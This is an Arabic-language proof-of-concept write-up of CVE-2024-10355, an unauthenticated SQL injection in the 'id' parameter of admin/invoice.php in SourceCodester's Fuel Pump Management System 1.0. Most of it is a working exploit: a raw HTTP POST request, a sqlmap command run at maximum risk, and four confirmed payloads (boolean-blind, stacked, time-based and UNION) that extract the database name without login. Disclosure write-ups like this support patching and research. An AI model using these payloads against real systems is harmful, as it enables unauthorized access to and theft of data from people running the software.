
إعادة إنتاج وتحليل لثغرة CVE-2024-10355، وهي ثغرة حقن SQL غير مصادق عليها في برنامج إدارة مضخات الوقود SourceCodester، مع حمولات إثبات مفهوم وخطوات استغلال.
برنامج إدارة مضخات الوقود تحميل مجاني | SourceCodester
ثغرة حقن SQL في برنامج إدارة مضخات الوقود من SourceCodester الإصدار 1.0. تم العثور على ثغرة تم تصنيفها على أنها عالية الخطورة، وتؤثر على وظيفة غير معروفة في ملف admin\invoice.php. باستخدام المعامل id لبناء جمل SQL خبيثة للحصول على معلومات حساسة، مما يسبب ضررًا.
admin\invoice.php

هنا، يتم دمج إدخال المستخدم $_POST['id'] في جملة استعلام SQL، مما يجعله بوضوح عرضة لهجمات حقن SQL.

POST /admin/invoice.php HTTP/1.1
Host: 10.151.167.168:6677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
id=1*
احفظ الحزمة واستخدم هجوم sqlmap
python3 sqlmap.py --random-agent -r data.txt --risk 3 --batch

---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-6094' OR 1911=1911 AND 'hAoG'='hAoG
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1';SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 1041 FROM (SELECT(SLEEP(5)))UTeR) AND 'HnhT'='HnhT
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176626b71,0x6b57657774656652476e4d594f6959545363546f73424a4c547364484a4d47696247447769514653,0x71766b6a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
انظر إلى الحزمة، لم أضف قيمة كوكي، مما يشير إلى عدم وجود مصادقة ولا حاجة لتسجيل الدخول لشن الهجمات عن بُعد.
يمكنك أن ترى أن هذه الحمولة تستخدم طريقتين للحقن: الحقن الأعمى الزمني (time-based blind)، والحقن الأعمى المنطقي (boolean-based blind)، والاستعلامات المكدسة (stacked queries)، واستعلام UNION (UNION query)، وتنجح في استخراج اسم قاعدة البيانات.